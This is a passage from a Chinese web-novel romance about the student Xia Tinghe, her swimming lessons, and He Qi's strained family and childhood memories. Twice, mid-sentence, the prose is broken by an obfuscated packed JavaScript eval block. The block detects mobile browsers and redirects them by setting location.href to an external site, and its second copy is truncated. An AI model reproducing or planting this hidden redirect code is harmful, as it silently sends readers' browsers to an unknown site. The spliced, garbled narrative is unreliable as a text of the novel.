“行吧，那你还不给个解释？不是你爸妈的就更过分了，我们俩这样的关系你都没给我点过赞。” 贺祁懒洋洋地回了他一句：“因为想让人看到。” “想让谁看到？”梁浩不知道自己是哪步没跟上，突然间就听不懂了。 贺祁没回答了，笑了下就搪塞了过去。 还用说么？ 他就是知道夏汀禾会看，所以才这么做。 见他开始敷衍了，梁浩也懒得问了，想到了什么，又挑起了另外一个话题：“对了，昨天有人给我发了一个帖子。” 尽管不怎么感兴趣，但眼下也闲着没事做，贺祁漫不经心地追问：“什么？” “就一个在Q大的朋友发给我的。” 边听着他讲，贺祁边撕开了奶茶吸管包装，一顺溜地插了进去，抿了一口。 他刚从教学楼里出来时，正巧看到了旁边的奶茶店，无意间想起上次给夏汀禾带的，她似乎还挺喜欢，于是莫名又走了进去，买了一杯一样的尝尝。 “好像是和夏汀禾——”梁浩正翻着和朋友的聊天记录，扭头一看这人手中的东西，立即张大了嘴：“你什么时候买的奶茶？” “刚刚。”贺祁快速回了他的话，接着问：“什么意思？和她有什么关系？” “哦。”梁浩直接把自己的手机给他看了，“不过也是前段时间的了，现在校园墙上已经删了。” 手机上是保存下来的截图。 贺祁停了脚步，站在路边上简单看了下投稿的图文，很快下滑到评论。 一条条恶意揣测的留言从眼前掠过，贺祁不由得皱了下眉。 他很清楚，夏汀禾会在意别人的看法，哪怕是陌生人的，所以更别说是这样极度负面的评价了。 因为事情已经过去了几个月，梁浩给他看这个，也就是顺手分享一下，但没想到贺祁看得很认真。 扫完评论后，他又滑动到最上面看了正文，面容严肃地问：“是谁投的稿有找出来么？” 梁浩原以为他会好奇帖子里写的夏汀禾喜欢的人是谁，但没想到他更关心的是这个。 “谁投的稿？”梁浩抓了下头发，有点苦恼道：“这个好像也没说。” 贺祁点了下头，直接和他道：“你把这个发我一份。” - 从操场回来后，夏汀禾紧接着又被室友拉去了吃宵夜。 应忱请客。 刚结束了活动，黎穗还处于亢奋状态中：“怎么突然想起来晚上吃宵夜了？也没提前通知啊。” 宁苒耸了耸肩：“忱姐被小组作业某些不配合的成员弄得有些烦躁，想出来散散心，所以就顺便吃点咯。” 黎穗无话可说：“……这倒也正常。” 碰上一些奇葩，脾气好的人都容易被逼疯。 比起糟心的作业，宁苒更好奇他们的团建：“所以你们玩了什么？” “那可有得说了，这次策划得保证没有人会不满意。”黎穗拍着胸膛，转头就对夏汀禾说：“是吧，汀妹？” 夏汀禾正出神望着远方，突然被叫了一下名字，恍然反应过来，胡乱点了下头。 她还在想着贺祁为什么突然看了黎穗的朋友圈。 要说是随便点的，好像也不可能。贺祁平时并没有这个习惯。 那他该不会看到了自己和陈航的那张照片吧？ 想到这里，夏汀禾也不知道自己为什么突然有点紧张起来。 趁着室友聊天的时间，她一个人走在最后，又打开了照片确认了一遍。 照片是模糊的，就算是给室友看，也不一定会认得出来是她，所以贺祁也八成没看清楚。 可能只是觉得活动挺有趣的，顺手就点了个赞。 夏汀禾松了口气。 这时走在前面的黎穗突然回头，问她：“对了，汀妹，你和那个陈航是以前就认识了吗？” 夏汀禾有点纠结地回答：“……也算不上认识，只是见过几次面。” “陈航？”宁苒探过头来：“谁？你们部门的人？” “不是。” 黎穗也解释不清楚了，索性直接拿了朋友圈的照片给她看。 “就是这个人。”黎穗边指着边说：“也是我们学院的，但和我们不是一个专业。感觉人还行，当时汀妹穿的裙子不方便坐下，他就找朋友借了衣服给她。” 宁苒看着一团模糊的影子，疑惑道：“汀妹在哪？” “这个啊。”黎穗指明了给她看，看到稍微熟悉一点的轮廓，宁苒才认出来人。 “这也能看出来？！” 看到宁苒的疑惑，夏汀禾更加确信，贺祁肯定也不会发现她。 放下心来，夏汀禾如释重负地跟着室友去了烤肉店。 刚落座开始点菜，手机就收到了蔺妤的消息。 是回复早上她发过去的那条。 妈妈：【挺好看的】 妈妈：【怎么突然想起来穿这条旗袍了？】 妈妈：【头发也绾得不错】 夏汀禾第一次看到她连发几条消息，原本轻松的心情更加雀跃了些，不知不觉她的回复也亲近了。 【……因为和朋友一起出去玩，正好翻到了衣柜里的这件，就想起来穿了】 蔺妤很快回了她：【嗯，还有一些不是也没穿过？以后和朋友出去玩，可以多试试】 蔺妤很喜欢给夏汀禾买衣服裙子，偶尔和朋友出去逛商场，看到合适的就会买下直接寄到她学校。 这也就导致夏汀禾衣柜里堆了许多没穿过的。 蔺妤又接着问她：【现在在宿舍？】 夏汀禾：【没有，我和室友出来吃宵夜了】 妈妈：【钱够用吗？给你转了点】 夏汀禾：【我自己有的，而且这次是室友请客】 妈妈：【你那点零花钱能吃个什么？】 夏汀禾：“……” 两个人聊了一会儿，没多久，蔺妤那边又有事要忙了，便结束了话题。 夏汀禾已经习惯了，正准备说好。 蔺妤却主动和她解释：【最近在忙比较棘手的项目，没什么时间。有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815373|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事直接打电话给我就行，或者发消息，我看到了会回】 她这么一说，夏汀禾立即明白了缘由。 蔺妤想要升职的事情上次离开家的时候夏汀禾从舅舅那听过一次，当时蔺回绪的看法是——就他姐目前的职位来说，不升也行。 更高了一级，待遇方面会稍微好一些，但要忙活的事情也相应地会翻倍。 蔺妤这几年忙得顾不上生活的状况是一家人都看在眼里的，蔺回绪自然是更希望亲姐注重身体健康。 然而蔺妤不这么认为。 为了证明自己的选择，她直接去医院做了全身体检。 除了作息不规律之外，蔺妤在饮食和运动上都极度自律。意料之中，检查结果半点问题都没有。 舅妈还是担心，蔺回绪已经了然亲姐的心思，只笑了笑，道：“我姐就这样，从小就不服输。” 但夏汀禾没想到蔺妤这么快就开始忙了。 从很早之前，夏汀禾就知道，蔺妤不会放弃任何事业上的机会。 心里泛起了波澜，对着对话框，夏汀禾敲下了两行字。 【好，我知道了】 【期待你的好消息】 过了一会儿，没等到回应，夏汀禾犹豫了下，又编辑了一条发过去。 【妈妈，你想聊天的时候也可以找我^^】 大概是正好看到了，蔺妤不知道从哪找出了一个猫猫点头表情包，发给了她。 这是完全和蔺妤平日里的性格不符的。 夏汀禾愣了愣，很快也回了一个同系列的给她。 结束了聊天，夏汀禾心情颇好地收起了手机。 室友这时正在讨论这学期的体育课选课。 “我就和之前一样吧，还是选羽毛球，这个最拿手，老师给分也挺高的。” “那我也羽毛球。” “+1。” 他们学校的体育课是按照运动项目来分的，可以尽管挑选自己喜欢的，只要能抢到。 三个人很快确定下来，见夏汀禾没聊天了，又问她：“汀妹你呢？” 刚没注意这回事，现在闲下来了，夏汀禾这时候打开班级群里发的选课列表查看。 项目比去年还要多了些，几十个可选的，一时间看得有些眼花缭乱。 夏汀禾的视线原本是在羽毛球那一栏，然而莫名的，她又往下滑动了点，最后停在了另一处。 在三个人的注视下，她温声地给了回答：“……我这次可能不跟你们一起了，我有点想选别的。” 本身就不喜欢运动，夏汀禾往常都是跟着室友一起。 但这次她忽地有了不一样的想法。 “别的什么？” 夏汀禾底气不足地说出口：“游泳。” 她一说完，三个室友同时瞪大了眼睛。 游泳可以说是最难的一项，除了比其他的项目难学之外，带课的老师还是以严格出了名。 平日里专业课已经让人头秃，体育课大多数学生都是奔着放松的心态去，这类又难又容易挂科的自然就经常被排除选项之外了。 “为什么？”宁苒好奇地问。 “……就是挺感兴趣的。” 夏汀禾也说不出来原因，她只是突然有点想挑战一些不一样的。 像蔺妤那样。 - 确定了项目，回宿舍用电脑选上了课后，夏汀禾就开始看附近有没有游泳馆，可以先去体验一番。 找了一会儿没看到合适的，她转眼想起之前梁浩转发过他家里人的游泳馆开业消息。 夏汀禾退出了各种推送的社交平台。 她也没去找梁浩，而是直接点开了另外一个人的对话框。 正准备问贺祁有没有推荐的游泳馆，那边却先发给了她。 【晚上和室友出去玩了么？】 【活动看起来挺有趣的】 45. 不准 夏汀禾盯着手机看了好几秒，才意识到贺祁是在说去操场团建的事。 原本闲散地靠着椅背的身子“唰”地一下坐直了，发出的动静让边上正在聊天的三个室友纷纷扭头看了过来。 “？” “怎么了吗汀妹？” 夏汀禾快速翻过了手机，掩盖着解释道：“……没什么，手机没电了，我在找充电器。” 得到回答，室友点了点头又收回了视线。 说出口的话总得圆回来。 夏汀禾不得不从抽屉里拿了充电器，给几乎满电的手机插上。 贺祁怎么会知道自己去了…… 是有人告诉他了吗？ 心里好奇又紧张，夏汀禾只好硬着头皮敲下字回复：【嗯，是挺好玩的】 她紧接着又迅速扯开话题：【你有去过附近的游泳馆吗？】 贺祁很快回了她：【想学游泳？】 【梁浩他们家最近开了一个，环境还不错，你要去的话我和他说一声。可以先看看，不满意换别的也没事】 夏汀禾也是这么想的，于是又接着问了他一些更详细的信息。 确认那边也有教练带教之后，夏汀禾最后问他：【那你和我一起去嘛？】 贺祁直接给她发了条语音过来，话里带着笑意地问：“为什么要我去？梁浩你不也认识么？” 听到他的语气，夏汀禾就知道这人明明早已经心知肚明了，就是故意想引她说那样的话。 之前她也确实会直白地表示自己的态度，比如说想让他和自己一起。 但那是她胆子大的时候…… 平常要是别人直接问了，夏汀禾反而会不好意思说出来。 又点开语音听了一遍。 因为是戴着耳机听的，仿佛就像是贺祁在她身边说出来的一样，弄得她的耳朵有些泛热。 夏汀禾没回答他的话，只反问说：【你没时间吗？我也不是很着急，可以等你有空了再去】 她估摸着贺祁肯定会继续迂回地问，但他没有。 贺祁回她说：【什么时候都有空，看你】 心跳又开始加快了起来。 平缓了好一会儿，夏汀禾才和他确定了时间。 她打算挑个周末的下午去，正好体验一下后就可以顺便去吃个晚饭。 不过游泳体力消耗大，夏汀禾想着可能自己在吃饭之前就会开始饿了，于是估摸着带点零食过去垫垫肚子。 她从书桌下的柜子里翻出一袋子吃的，拍了个照片给贺祁看。尽管知道他不怎么喜欢吃这些，但依旧还是问了他的意见。 【你有什么喜欢的吗？下次去游泳馆我打算带点过去】 自己翻找了一下，想着他的口味，夏汀禾在照片上圈了一下一盒巧克力。 【这个你可能会喜欢吃，不是很甜的】 还没等贺祁回答，夏汀禾打开包装盒一看，里面已经空了。 她之前把剩下的几个都给了陈航和借她衣服的女生。 趁着贺祁还没看到，夏汀禾迅速撤回了上面的几条消息。 隔了会儿，贺祁回了她。 【这个吧】 贺祁给她发了张放大的巧克力的截图。 夏汀禾：“……” 夏汀禾只好告诉他实话：【这个没有了】 贺祁像是突然想起来什么似的：【噢，也是，你不是给别人了么？】 贺祁：【刚刚撤回了什么？】 - 付言辞是在从图书馆回宿舍的路上接到朋友林越打过来的电话的。 “最近怎么样啊？在那边还行吧？” 来这边快一个月了，付言辞每天的生活基本上都是围绕着上课和实验两件事。 除了开学时宿舍里的聚餐，他至今都没去过除了学校之外的任何地方看过，因此对其他的也谈不上什么感受。 “嗯，还可以。”付言辞淡淡地应了一声，又问他：“什么事？” 尽管林越早就习惯了他这样冷淡的脾气，但免不了还是有些被气笑了：“没事就不能找你了吗？咱们再怎么说也是朋友吧？” 付言辞没话说了，只能深吸了一口气等着他的后话。 “算了，说点你感兴趣的吧。”林越也没想卖关子。 他还没开口，付言辞已经主动追问上来：“说。” “果然。”林越啧了一声：“说到夏汀禾你就愿意搭理人了。” “她最近还不错吧，她的几个室友都挺活泼的，几个人经常一起玩。有几次碰见她，感觉看着都挺开心的。” 听到这个答案，付言辞放轻松了些。 来到这边以后，他很多次会想起夏汀禾那天被他拒绝之后掉眼泪的场景。 眼眶都是红的，声音也变得哽咽起来。 不忍去看她，付言辞只得控制住自己把脸瞥向一边。 他无数次想告诉夏汀禾自己也一样地喜欢她。 然而每每有了这样的念头，回到家里看到狭窄的租房楼，又瞬间会放弃。 他不想让夏汀禾发现自己任何不好的地方。 电话沉默了许久，付言辞才回了林越一句：“那就好。” 只要她开心，那就已经很好了。 知道他们俩之间的事，也没办法插手，听到这个回答，林越只得叹了口气。 闲聊了一会儿，准备挂电话了，林越记起件重要的没说。 “陈航最近好像和夏汀禾走得挺近的。” “什么时候？”付言辞的语气瞬间有了起伏：“他做什么了？” “就这几天吧，上次在图书馆看到他们俩还做一块儿。聊得好像还行？陈航也没做什么。” 对于陈航这个人，付言辞本来是一直把他当成普通的室友来对待。对方对他礼貌，那他也会以礼待人。 不过上次出了事之后，付言辞就没再搭理过他。 出国前一天，另外的一个室友给他办欢送会，一起聚餐吃饭，顺道也请了陈航。 但付言辞也只把他当空气，全程没和他说过一句话。 付言辞的第一反应是，陈航是不是因为他所以在有意接近夏汀禾。 不过转念一想，他并不知道自己喜欢夏汀禾，所以也没理由会对她做什么。 说完了这事，林越问他大概什么时候回来。 付言辞思索了会儿，给了答案： “我打算提前结课回去。” - 到了去游泳馆的那天，在约定时间前两小时，夏汀禾便开始收拾东西。 装上了泳衣泳镜这些装备之后，她把零食也塞进了包里，特意把巧克力分装到了里面的一个单独的空间。 黎穗也知道她今天要去上游泳课，只是看到她塞进包里的东西后，忍不住疑惑地凑过来问： “汀妹你怎么还带了巧克力？你不是说这个有点苦么？” 夏汀禾喜欢甜的，之前买这个巧克力也是因为几个室友推荐，后来发现自己的口味和她们不一样，便 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不知道他为什么这么问，夏汀禾有些茫然地摇了摇头：“没有，怎么了？” 贺祁看着她，勾了下嘴角：“噢，没什么。” “我还以为你朋友在后面，你又要开始装不认识我了。” 反应了两秒，夏汀禾直接上手捶了下他。 “不准再提这件事！” 早知道就不让他一起过来了…… 正好有路人经过，往他们这边看了看，一慌乱，夏汀禾立刻收起了手，低下头，又回到了温柔的乖宝宝形象。 她的声音本来也是温和甜美的，没什么攻击性。即便是生气大声了些，也不会让人觉得不舒服。 贺祁还想说点什么来着，结果看她变脸这么快，要说的话又全然忘记了，忍不住笑出了声。 夏汀禾不管他了，在场馆内看了一圈，觉得确实不错之后，就直接去找了约好了的女教练。 考虑到她是新手，教练也没着急，先给了她一次上体验课的机会，让她先感受一下游泳这项运动。 简单讲解了一些基础知识之后，夏汀禾进了单独的衣帽间换泳衣。 贺祁本就是陪着她来的，等她换衣服的时候便坐在外面的休息椅上。 闲着没事，他又去问了下梁浩一些事，像是课程收费和场地规划。 梁浩很快给了回复：【基本上是看你选择的课程内容和时长来定价。场地的话我记得好像有几个泳池，因为有些顾客喜欢人少一点的嘛，所以二楼会有私人的，可以直接包场，但这种价格自然普遍也要高】 贺祁：【行，知道了】 贺祁没替夏汀禾做决定：【看她喜欢什么吧】 发完这句，贺祁听到衣帽间开门的声响。 他抬头看去。 几秒后，夏汀禾走了出来。 一抹莹白闯入视线。 贺祁突然没动了。 梁浩那边还在继续问他话，手机“叮”的响了好几声，他也没听到。 看到贺祁在椅子上坐着，夏汀禾小跑到他面前，指着自己的脖颈说：“贺祁，你帮我看一下。” “后面是不是有头发没弄上去啊？” 没有第一时间回复。 贺祁侧了下脸，拉开了点距离。 隔了会儿才对她说： “……没有。” 46. 陌生 确保没什么差错了，夏汀禾这才放心走去了泳池。 过去的路上，她拿着报课的宣传单先问了贺祁的意见：“你觉得选哪个比较好？” 贺祁走在她身旁，和她保持着不远不近的距离。 听到她的声音了，他才朝这边瞥了眼，咳了下说：“第二个吧。” 第二个是新手课程加vip泳池。 对于课程内容夏汀禾没什么要求，她并不着急，第一次只要能学个大概就行了，到时候在学校里上体育课也会有学习的机会。 只是泳池的话，一楼公共的人确实会多一点，但也更能缓解她单独面对教练时的紧张。 夏汀禾不擅长运动，即便是付了钱来学习，也总会担心会做不好。 要是人多一点，也就不会这么容易放大她心里的情绪。 然而单从体验感方面来说，自然是vip的好一些。 听完他的意见，纠结了下，夏汀禾没先做出回答，点了点头。 贺祁又接着补了一句：“刚刚我问了梁浩，二楼的还会配备单独浴室和餐厅。游完泳去洗澡吃东西都挺方便。” 夏汀禾：“！” 夏汀禾犹豫的另一个点就是不想使用一楼的公共澡堂，而且还没有吃的。 见她有了动摇的迹象，贺祁继续说：“来之前不是还说想吃中餐？楼上就是。” 夏汀禾被说动了。 不过第一节的免费体验课还是在公共泳池上的。 抵达之前，夏汀禾临时接到了蔺妤打过来的电话，她只好和教授道了下歉，先去边上接了。 大概是听见了这边嘈杂的人声，蔺妤第一句就问她：“你不在学校？那边怎么这么吵？” 夏汀禾告诉了她自己学游泳的事。 蔺妤挺赞成她去锻炼身体，只是好奇：“怎么想起来学这个了？” “体育选课选了游泳，不过要过两周才开课，所以我就想先来这边提前学一下。” 蔺妤了然应了一声，又问了她一些近况。 挂断电话前，她和夏汀禾说：“等你学会了，放假带你去海边玩，去哪个城市你定。” 她们俩几乎没有一起旅游过，听到这个回答，夏汀禾怔愣了下，但很快就笑了起来，回复说：“好，谢谢妈妈。” 结束了通话，夏汀禾心情愉悦地去了教练那。 还没问什么需要做些什么热身运动，教练先对她说：“我们去二楼的泳池练习。” 夏汀禾疑惑地看着她：“不是说体验课都是在公共泳池么？” 她有些不好意思起来：“……而且我暂时还没有确定报什么课。” 教练笑了笑，给了回答：“你的朋友已经帮你开了vip，课程你可以自己选。不过你要是还是想在公共泳池的话，也行。” 夏汀禾在vip泳池里学了一下午。 泳池里并不是只有教练和她，也有其他人，不多，几个而已，来的也都是女生。 从教练那里才知道，是贺祁特意询问了她有没有只有女生的泳池。 本来是没有的，但凑巧今天下午预约这个的都是女生，于是便把夏汀禾带来了这边。 这正是夏汀禾想要的。 她就是不想人太少，但也不希望有很多，尤其是有异性在场。 体验课的难度不大，教练全程辅导着，尽量让她熟悉水里的环境。 夏汀禾悟性好，很快学会了基本的漂浮。 “不错，很厉害。”教练一直鼓励着她。 夏汀禾也第一次感受到了学习一项运动的乐趣。 结束后，两个人坐在泳池边擦头发。 聊着天，教练有了启发：“说不定可以去和老板说一声，分开一下，以后女学员的课可以全部在这边上。” 夏汀禾也确实觉得挺好，十分赞成地点了点头。 这时教练突然扭头看向了她，笑着说： “你朋友对你还挺细心的哦。” 夏汀禾不由得红了脸颊。 - 从泳池出来后，夏汀禾去了淋浴间洗澡，换好了衣服便直接下楼去找贺祁。 他就在离游泳馆不远的自习室里。 走了几分钟到了门口。 夏汀禾还没进去，忽地有人叫住了她。 回头一看，没想到是贺祁的父母。 两人坐在路边的车内，降下了车窗伸出手和她打招呼。他们穿着的稍微偏正式，像是刚从学校里上完课。 夏汀禾第一反应是自己的形象是不是好的，她快速地摸了下后脑勺，确保扎着的低丸子头没乱，才放心地回了句： “……叔叔阿姨好。” 贺母满脸欢喜地看着她，亲切地问：“你怎么也在这儿？该不会是和贺祁约着一块来的吧？” 这时身后的玻璃门被推开，贺祁正好从自习室里出来。 听到问题，他先看了看局促不安的夏汀禾，接着笑了下，替她回答了：“嗯，正好有空，就一起出来玩了。” 贺母无语地扶了下额头：“让人大老远地赶过来，就和你一起自习？要一块学习看书，你自己不知道去人家学校那？” 贺祁也没反驳，十分坦然地应下了：“知道了，下次就去。” 贺母转头又对夏汀禾道：“那应该也没吃晚饭吧？要是有空，和我们一起？” 贺祁的父母太过热情，夏汀禾压根不知道怎么拒绝，只能点了下头，跟着上了车。 到了餐馆后，两个长辈走在前面。 夏汀禾拉了下贺祁的手。 贺祁侧过脸来：“怎么了？” 夏汀禾抿着唇看了他一眼。 正准备开口，贺祁像是瞬间知道了她要说什么，扬了下嘴角，快了一步道：“提前发消息告诉你我爸妈过来了。” 夏汀禾不信。 结果打开手机一看，贺祁还真早就告诉她了。只不过当时她在赶路，没看到。 这是自己的失误，夏汀禾不好再怪他。 察觉到她异样的情绪，贺祁低下头来看着她问：“要是不想和他们一起，我送你回去？” “不是……”他突然靠近了，夏汀禾垂着眼睫，语气也软了下来。 她并不是不想和贺祁的父母一起吃饭，只是和长辈一起就是会有些不自在。 大概明白了她的纠结，贺祁对她说：“我坐你旁边。” 这下夏汀禾算是安心了些。 和他说的一样，到了位置上后，贺祁自然而然地坐在了她旁边。 但等对面瞬间投过来了两道视线，颇有深意地打量他们俩时，夏汀禾这才反应过来不对劲。 怎么弄得好像是她要求贺祁这么做的？ 虽然本 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“不是我买的。”贺祁瞥了夏汀禾一眼，脸上浮现出笑意：“她给的。” 解释完这句，贺祁就走去了前台。 贺母便顺着话题往下问起了夏汀禾平日里爱吃的。 边上的人突然走了，夏汀禾一开始还有些不自在，但聊着聊着，也就放松了下来。 他们一家人的性格都很随和，兴许是常年和学生打交道，贺祁的父母和夏汀禾交流起来并没有什么阻碍。 尤其是贺母，心态非常年轻。她喜欢各种户外运动，经常拉着儿子老公一起去爬山露营，宅家里时也爱吃零食追剧，有空了甚至还会去看演唱会。 要不是知道她的年龄，夏汀禾偶尔都会产生贺母比她大不了多少的错觉。 说到一家人一起出去玩的事，贺母的面容忽地变得怅然起来。 “但我和小祁的沟通还是太少了。” 不管她和贺父提出什么事，贺祁都会答应，也会愿意去做，比如和他们一起吃一顿饭、去外面旅游等等。 然而贺祁始终还是那样，没办法做到对他们毫无芥蒂。 贺母也知道他尽力了。 “我和他爸这辈子最后悔的决定就是当初没有把他带在身边。” 提起旧事，贺母说的有些哽咽了。贺父伸手揽过妻子，拍了拍她的肩膀。 “我们以为他跟着自己的亲爷爷也不会受什么苦，但谁也没想到……” “妈。”贺祁不知道什么时候走了过来，猝不及防地打断了这场对话。 夏汀禾正专注地听着，倏地被插了一句，她下意识地抬头望向贺祁，看到他脸上的神色暗了下来。 和她对视着，贺祁眼里也毫无波澜，让夏汀禾感觉有点陌生。 不过他很快就又恢复了随性的模样，把菜单放在了桌上，道：“点了这几样，几分钟之内就能上，你们看看还有什么想吃的。” 贺父贺母也全然当作没有刚才的对话，点了点头应和说：“这些就够了，你问问汀禾还有没有。” 贺祁在她旁边坐下，凑过来笑着问她：“有么？” 这样的他是夏汀禾熟识的。 夏汀禾愣了愣，又摇了下头： “没有了。” 47. 理解 吃完饭后，贺祁开车送夏汀禾回了学校。 和上次一样，他们俩坐前排，贺祁的父母在后座。 车内没人开口说话，各自做着自己的事。从餐厅出来后，几个人就开始陷入了沉默。 夏汀禾看了看窗外，发现外面已经下起了雨。 雨水淅淅沥沥的，隔着一层玻璃似乎从眼前划过，又混入昏暗的夜色之中。 过了会儿，她默不作声地看向贺祁。 他直视着前方，脸上露出少有的淡漠。 察觉到夏汀禾在看他后，贺祁抬眸望了过来，两个人的目光碰撞了一下，他很快又不着痕迹地收回了视线。 没有像往常一样会笑着逗她，懒洋洋地说一句“看我做什么”。 夏汀禾低下了头，漫无目的地刷着手机度过了这段时间。 等着车一在学校门口停下，她立即就和贺祁的父母说了再见，下车走了进去。 贺祁望着她离开的方向，到底还是没有开口。 半小时后回了家。 把车钥匙放桌上后，贺祁径直走上了楼。 贺母正打算问儿子明天早餐在不在家吃，却见他忽地停住脚步，回过头来道：“妈，以后别和她说我小时候的事。” 声音陡然在屋子里响起，尾声还带着点回音。 他的眼神是平淡的，没有什么光亮。 楼道里也没开灯，只有客厅里有些许余光。贺祁隐在昏暗之中，看不清他脸上的情绪。 他的语气也很淡然：“她不是我女朋友，就算是，也没必要告诉她这些。” “已经是过去的事了，谁又能改变什么？” 确实不能改变什么。 贺母比任何人都清楚这点。 她只能强忍着眼里的泪水，努力让自己的声音听着平缓：“那你呢？你放下了吗？你还不是和我们不亲近。” 这是贺母第一次当着他的面把这些心底话说出来。 往常为了维护一家人的表面和谐，她和贺父都不会戳穿挑明，好似只要不提及就可以当作不存在。 但实际上贺祁和他们的隔阂是他们心知肚明的。 贺祁许久没有回答，半响，才轻声自言自语似的说了句：“重要么？我不是一直都是被决定的么？” 这些话他当着贺母的面说不出口。 背后是压抑的抽泣声，贺祁轻叹了一口气，只得又扯出一个笑容，道：“妈，别哭了。” “我会尽力的，行么？” 两口子沉默不语，贺父最后打破了寂静，也对贺祁笑了笑说：“早点休息吧，明天不是还要上课？我和你妈买了点菜做早餐，记得起来吃。” 贺祁点了点头：“好。” 回到房间，贺祁有些筋疲力尽地坐在床边上。 他向后撑着床铺，仰头看着天花板。 这个地方干净、宽敞，但他并不熟悉。 他熟悉的是破旧混乱的杂物间、没有窗户的卧室和布满灰尘的厨房。 贺祁第一次被送到爷爷家时，没有人发现老人家精神上早就出了问题。 几岁的贺祁也自然不知道。 直到后来他隔三岔五地被人拳打脚踢、被关在家里不给吃喝、晚上睡觉要是发出一点声音就会被踢着滚出门睡大街。 小贺祁后面发现了规律——爷爷心情不好时脾气会变得格外暴躁，但只要高兴了，就不会这么对他，甚至还会带着他去玩。 所以小贺祁尽心尽力地察言观色，爷爷要是当天说带他去下馆子，他立即就会汇报自己的学习成果，告诉爷爷自己最近在学校里考了第几名、得了什么奖。 但凡哪天爷爷皱了一下眉，他就学会了立马消失，把自己锁在杂物间里做作业睡觉，即便半夜胃疼在地上打滚也坚决不会吭一声。 这么过了一年，后来有天邻居告诉贺祁，他的父母来看他了。 小贺祁以为自己是期待的，但等真正见面了，却半点感觉都没有。 爷爷那天的精神还算正常，问他要不要跟他爸妈回去算了，待在他身边也就只能过这样的日子。 他老了，偶尔感觉到自己似乎被别的东西给控制住，成为了另外一个人，自己都不认识了。他也没办法确保自己以后正常的时候有多长。 小贺祁拒绝了。 至于为什么拒绝，贺祁现在慢慢大概想清楚了原因。 因为小时候的他只有在爷爷身边时，才感觉到自己是存在于这个世界上的，是被关注着的。 至少爷爷在正常的时候，还会记得他、给到他一点关心。 后来爷爷去世了，这点在意也没有了。 - 夏汀禾在快十点时回到了宿舍。 一进门就被室友围了过来。 “汀妹你去哪了？外面下这么大的雨。” “不是说游泳课下午就结束了么？” “晚饭吃了吗？我这儿有刚买的水果，给你留了一份。” 夏汀禾看了看被打湿了的裤脚，一时间说不上话来。 对于贺祁突然的态度转变，夏汀禾也察觉到了不对劲，她能感觉到贺祁不想让她知道一些事情。 她也没觉得生气，只是心里很闷，很难受，所以才会选择头也不回地走进了学校。 现在被室友这么询问、关心着，那点压在心上的难受似乎又瞬间消散了。 “嗯，我在外面吃完了才回来的。” 怕室友担心，夏汀禾又扬起脸来对她们笑了笑：“没想到出餐厅后就下雨了，还好带了伞。” 宁苒接过她手上的东西搁在了桌上：“好了，别聊天了，现在去换一下衣服裤子。” 黎穗跟着点头：“对，小心别感冒了。我去接点热水，汀妹你待会儿喝点。” 被催促着去换了睡衣，在桌子旁坐下后，夏汀禾又喝了大半杯的热水。 等她整理好东西，室友这才凑过来问她游泳课的体验感怎么样。 “挺好的，教练很细心，泳池环境也不错。” “而且游泳真的挺有趣的。” 这是夏汀禾的真实感受。 去泳池前她一直在担心自己会做不好，但等真正下了水，失败后再一次次尝试，某一瞬间惊讶地发现——自己竟然也慢慢学会了。 那种意外的喜悦让她感到满足。 夏汀禾没想到自己有天会开始享受突破困难的那一刻。 她以前总是害怕去尝试新鲜的东西，担心碰到阻碍，每次遇到一点点可能会导致失败的苗头，她就会立即选择退缩。 这也导致她错过了很多机会，比如因为没敢自荐而没能去某个感兴趣的项目组、担心做不好而没能去参加喜欢的活动、害怕发生意外所以从来不敢一个人旅游…… 但有些事，好像也只有她自己才能去完成。 睡前夏汀禾看了眼手机，依旧没有新消息发过来。 她也没再点开贺祁的头像，熄了屏就把手机放在了一边。 白天消耗太大，闭上眼没多久，夏汀禾就睡了过去。 - 开学快一个月，课程逐渐多了起来，偶尔会有从早排到晚的满课，再加上日常的一些作业，夏汀禾几乎没有空闲的时间去校外逛。 偶尔晚上看完书拿起手机放松一下时，会忽地瞥到和某人的对话框，但想了想，终究还是没有点开。 第二次的游泳课定在半个月后的一个周末。 提前交了所有的作业，夏汀禾照例收拾东西出发去游泳馆。 “汀妹，今天太阳这么大你也去么？”宁苒正在宿舍里吹着空调追剧，扭头看到她穿了一身运动装，知道她要去做什么，顺口就问了一句。 夏汀禾回她说：“嗯，我和教练约好了的。” 宁苒佩服她的毅力，决心晚上也要锻炼一番，但现在 ——她决定还是先休息休息。 被宁苒喂了几块西瓜后，夏汀禾继续整理东西，翻到包里的巧克力时，她不由得愣了下。 上次分开的时候，贺祁是问了她第二堂课的时间的。 那他会过来吗？ ……他还记得么？ 夏汀禾也不确定。 独自坐地铁去了游泳馆，明明知道需要坐多少站，但夏汀禾就是会下意识地时不时抬头看路线。 等到了场馆，没在门口看到人，夏汀禾才彻底平静下来。 果然没有来。 提前有了猜想，不应该会失落的，然而夏汀禾就是止不住地感觉到心里有点酸涩。 “汀禾！”突然的呼喊声打断了她的思绪。 祝朝月兴高采烈地从馆内跑了出来见她。 “你找谁呢？也是来游泳的吧，咱俩一起？” 在这里见到祝朝月并不奇怪，场馆离A大和Q大都不算太远，平日里来光顾的大学生不少。 “没找谁。”夏汀禾收起了那点情绪，温声回她：“……当然可以，只是我还不太会，现在还在跟着教练学习。” 祝朝月对她笑了笑：“没关系啊，我也刚学会不久。” 两个人挽着手一起进了门。 离上次见祝朝月已经过去了一个多月，夏汀禾感觉到她的心态比之前好了许多，连去换泳衣时都是在哼着歌的。 夏汀禾好奇地问：“你最近是有什么开心的事吗？” “被你看出来了。”祝朝月回她说：“我最近找了一份挺满意的兼职，工资待遇什么的都不错。” 祝朝月朝她眨了眨眼：“有钱赚很难会不开心的吧，而且同事也人挺好的。” 夏汀禾记得她家里条件并不算差，但祝朝月似乎很早就开始独立了，大二就开始到处实习，平日里兼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 